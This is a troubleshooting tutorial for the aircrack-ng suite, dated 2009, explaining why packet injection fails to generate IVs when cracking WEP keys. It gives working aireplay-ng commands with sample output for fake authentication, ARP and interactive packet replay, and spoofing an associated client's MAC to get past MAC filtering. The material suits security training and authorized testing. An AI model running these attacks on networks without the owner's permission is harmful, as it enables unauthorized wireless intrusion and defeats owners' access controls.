Version: 1.09 September 10, 2009
By: darkAudax

A frequent problem that comes up is that packets are being injected but the IVs don't increase. This tutorial provides guidance on determining the root cause of the problem and how to fix it.

Experiment with your home wireless access point to get familiar with these ideas and techniques. If you do not own a particular access point, please remember to get permission from the owner prior to playing with it.

Please send any constructive feedback, positive or negative. Additional troubleshooting ideas and tips are especially welcome.

First, this solution assumes:

• You are using drivers patched for injection. Use the injection test to confirm your card can inject prior to proceeding.
• You have started the interface in monitor mode on the same channel as the access point. Run “iwconfig” and confirm that the interface you plan to use is in monitor mode, on the correct channel (frequency), correct speed, etc. In monitor mode, the “Access Point” is your card MAC address. NOTE: Only madwifi-ng drivers display the card MAC in the AP field, other drivers do not do this. The output would look similar to this:

ath0      IEEE 802.11b  ESSID:""  Nickname:""
          Mode:Monitor  Frequency:2.452 GHz  Access Point: 00:09:5B:EC:EE:F2   
          Bit Rate=2 Mb/s   Tx-Power:15 dBm   Sensitivity=0/3 
          Retry:off   RTS thr:off   Fragment thr:off
          Encryption key:off
          Power Management:off
          Link Quality=0/94  Signal level=-98 dBm  Noise level=-98 dBm
          Rx invalid nwid:0  Rx invalid crypt:0  Rx invalid frag:0
          Tx excessive retries:0  Invalid misc:0   Missed beacon:0

• You have started airodump-ng on the same channel as the access point. IE with the “-c <channel number” option.
• You are physically close enough to send and receive access point packets. Remember that just because you can receive packets from the access point does not mean you may will be able to transmit packets to the AP. The wireless card strength is typically less then the AP strength. So you have to be physically close enough for your transmitted packets to reach and be received by the AP. You should confirm that you can communicate with the specific AP by following these instructions.
• The injection techniques used in this tutorial depend on having one or more data packets. If there are zero data packets coming from the AP or a client, then it is impossible to crack the WEP key. The exception is to reuse a previously captured data packet. You must meet one or more of these data packet requirements to be successful.
• You are using v0.9 of aircrack-ng. If you use a different version then some of the command options may have to be changed.

Ensure all of the above assumptions are true, otherwise the advice that follows will not work. In the examples below, you will need to change ath0 to the interface name which is specific to your wireless card.

In order for an access point to accept a packet, the source MAC address must already be associated. If the source MAC address you are injecting is not associated then the AP ignores the packet and sends out a “DeAuthentication” packet. In this state, no new IVs are created because the AP is ignoring all the injected packets.

The lack of association with the access point is the single biggest reason why injection fails. OK, lets look at the symptoms so you confirm that this is happening. Then we will look at possible solutions.

Here is your typical clue.

Injection command entered (or similar):

aireplay-ng -3 -b <bssid MAC address> -h <source MAC address> ath0
aireplay-ng -3 -b 00:14:6C:7E:40:80 -h 00:0F:B5:46:11:19 ath0

Then the system responds:

Saving ARP requests in replay_arp-0123-104950.cap
You should also start airodump-ng to capture replies.
Notice: got a deauth/disassoc packet. Is the source MAC associated ?
Notice: got a deauth/disassoc packet. Is the source MAC associated ?
Read 17915 packets (got 3 ARP requests), sent 5854 packets...

Notice the “deauth/disassoc” messages. This says the source MAC “00:0F:B5:41:22:17” is not successfully associated with the access point. In this case, your injected packets are being ignored.

Another way to confirm that the lack of association is causing a problem is to run tcpdump and look at the packets. Start another session while you are injecting and…

Run: “tcpdump -n -e -s0 -vvv -i ath0”

Here is a typical tcpdump error message you are looking for:

11:04:34.360700 314us BSSID:00:14:6c:7e:40:80 DA:00:0f:b5:46:11:19 SA:00:14:6c:7e:40:80 DeAuthentication: Class 3 frame received from nonassociated station

Notice that the access point (00:14:6c:7e:40:80) is telling the source (00:0f:b5:46:11:19) you are not associated. Meaning, the AP will not process or accept the injected packets.

If you want to select only the DeAuth packets with tcpdump then you can use: “tcpdump -n -e -s0 -vvv -i ath0 | grep -i DeAuth”. You may need to tweak the phrase “DeAuth” to pick out the exact packets you want.

So now that you know the problem, how do you solve it? There are two basic ways to solve the problem:

• Associate the source MAC address you will be using during injection with the access point.
• Replay packets from a wireless client which is currently associated with the AP.

To associate with an access point, use fake authentication:

aireplay-ng -1 0 -e <SSID> -a <bssid MAC address> -h <source MAC address> ath0
aireplay-ng -1 0 -e teddy -a 00:14:6C:7E:40:80 -h 00:09:5B:EC:EE:F2 ath0

Success looks like:

18:18:20  Sending Authentication Request
18:18:20  Authentication successful
18:18:20  Sending Association Request
18:18:20  Association successful :-)

Or another variation for picky access points:

aireplay-ng -1 6000 -o 1 -q 10 -e teddy -a 00:14:6C:7E:40:80 -h 00:09:5B:EC:EE:F2 ath0

Where:

• 6000 - Reauthenticate very 6000 seconds. The long period also causes keep alive packets to be sent.
• -o 1 - Send only one set of packets at a time. Default is multiple and this confuses some APs.
• -q 10 - Send keep alive packets every 10 seconds.

Success looks like:

18:22:32  Sending Authentication Request
18:22:32  Authentication successful
18:22:32  Sending Association Request
18:22:32  Association successful :-)
18:22:42  Sending keep-alive packet
18:22:52  Sending keep-alive packet
# and so on.

Once you have successfully associated with the AP, try one or more of the following packet injection techniques techniques. With luck, you are properly associated and the injected packets cause the IVs to increase. Keep an eye on the fake authentication to ensure your remain associated.

For all of these techniques, use airodump-ng to capture the IVs and aircrack-ng to obtain the WEP key.

Use the standard ARP request replay technique.

This assumes that you have a wired or wireless client active. To speed things up, simply ping a non-existent IP on your LAN.

You can replay an ARP which was previously captured. See this section for an example.

You can replay any data packet captured in real time. See this section for an example.

This assumes that there is at least one data packet broadcast by the AP or a wireless client.

You can combine the “-p 0841” technique with reading packets from a previous capture. Simply use the technique from the previous section in combination with “-r <file name>”.

This assumes that you have a capture file containing one or more data packets.

An alternate approach is to replay packets from a wireless client which is currently associated with the AP. This eliminates the need to use fake authentication since you be piggy backing on client MAC address which is already associated with the AP.

Use the interactive replay attack instead. We are going to look for an arp packet coming from an already associated wireless client going to the access point. We know that this arp packet will be rebroadcast by the AP and generate an IV. ARP packets coming from a wireless client are normally 68 bytes long with a broadcast MAC address.

So we construct a request which selects the packets we are looking for:

aireplay-ng -2 -a <bssid MAC address> -d FF:FF:FF:FF:FF:FF -m 68 -n 68 -t 1 -f 0 <interface>

Where: -d FF:FF:FF:FF:FF:FF - broadcast - m 68 - minimum packet length of 68 - n 68 - maximum packet length of 68 - t 1 - packet is going to the access point - f 0 - packet is not coming from the access point

This will display each packet captured for you to inspect before being used. Just ensure the packet you select is one of the wireless clients already associated with the access point.

Here is an example:

aireplay-ng -2 -a 00:14:6C:7E:40:80 -d FF:FF:FF:FF:FF:FF -m 68 -n 68 -t 1 -f 0 ath0

Read 202 packets...

      Size: 68, FromDS: 0, ToDS: 1 (WEP)

           BSSID  =  00:14:6C:7E:40:80
       Dest. MAC  =  FF:FF:FF:FF:FF:FF
      Source MAC  =  00:0F:B5:AB:CB:9D

      0x0000:  0841 d400 0014 6c7e 4080 000f b5ab cb9d  .A....l~@.......
      0x0010:  ffff ffff ffff a00f 010a dd00 a795 2871  ..............(q
      0x0020:  59e5 935b b75f bf9d 718b d5d7 919e 2d45  Y..[._..q.....-E
      0x0030:  a89b 22b3 2c70 b3c3 03b0 8481 5787 88ce  ..".,p......W...
      0x0040:  b199 6479                                ..dy

Use this packet ? y

Saving chosen packet in replay_src-0124-120102.cap
You should also start airodump-ng to capture replies.

Although you can't see it, the above command started generating the IVs. As usual, run airodump-ng and aircrack-ng.

• There will be occasions that even though it says you are associated and the keep alive packets are flowing nicely, the association breaks. So you might have to stop and rerun the command.

• With some drivers, the wireless card MAC address must be the same as MAC address you are injecting. So if fake authentication is still not working then try changing the card MAC to the same one you are trying to authenticate with. A typical package to do this is macchanger. Search the forums or the internet for the details and other options. Changing the MAC address is beyond the scope of this tutorial. See How do I change my card's MAC address?

• Some access points are configured to only allow selected MAC access to associate and connect. If this is the case, you will not be able to successfully do fake authentication unless you know one of the MAC addresses on the allowed list. Thus, the advantage of the next technique (interactive replay) is that it gets around this control.

To determine if MAC access control is in place, enter the following command:

 tcpdump -n -vvv -s0 -e -i ath0 | grep -i -E "(RA:00:c0:ca:17:db:6a|Authentication|ssoc)"

You will have to change “00:c0:ca:17:db:6a” to the injection MAC address. It is case sensitive and typically lowercase. You may need to look at the tcpdump output without the grep filter to verify the case.

When you are trying to do fake authentication, the exchange should look identical to the wep.open.system.authentication.cap file which comes with the aircrack-ng software. This file can be read into tcpdump as…

 tcpdump -n -e -vvv -r wep.open.system.authentication.cap

Basically you should see two authentication packets and then two association packets. If your real life capture does not contain all four packets and your fake authentication is failing then there is a MAC filter in place. In this case, you must use the MAC address of a client already associated with the AP. To do this, change the MAC address of your card to it. See How do I change my card's MAC address?

• A normal MAC address looks like this: 00:09:5B:EC:EE:F2. It is composed of six octets. The first half (00:09:5B) of each MAC address is known as the Organizationally Unique Identifier (OUI). Simply put, it is the card manufacturer. The second half (EC:EE:F2) is known as the extension identifier and is unique to each network card within the specific OUI. Many access points will ignore MAC addresses with invalid OUIs. So make sure you use a valid OUI code code when you make up MAC addresses. Otherwise, your packets may be ignored by the Access Point. The current list of OUIs may be found here.

Here is an example of what a failed authentication looks like:

8:28:02  Sending Authentication Request
18:28:02  Authentication successful
18:28:02  Sending Association Request
18:28:02  Association successful :-)
18:28:02  Got a deauthentication packet!
18:28:05  Sending Authentication Request
18:28:05  Authentication successful
18:28:05  Sending Association Request
18:28:10  Sending Authentication Request
18:28:10  Authentication successful
18:28:10  Sending Association Request

Notice the “Got a deauthentication packet” and the continuous retries above.

• Some access points have a setting to disable wireless client to wireless client communication (called at least on Linksys “AP isolation”). If this is enabled then all the techniques above will not work. The only approach is to use the techniques outlined in another one of my tutorials: How to crack WEP via a wireless client.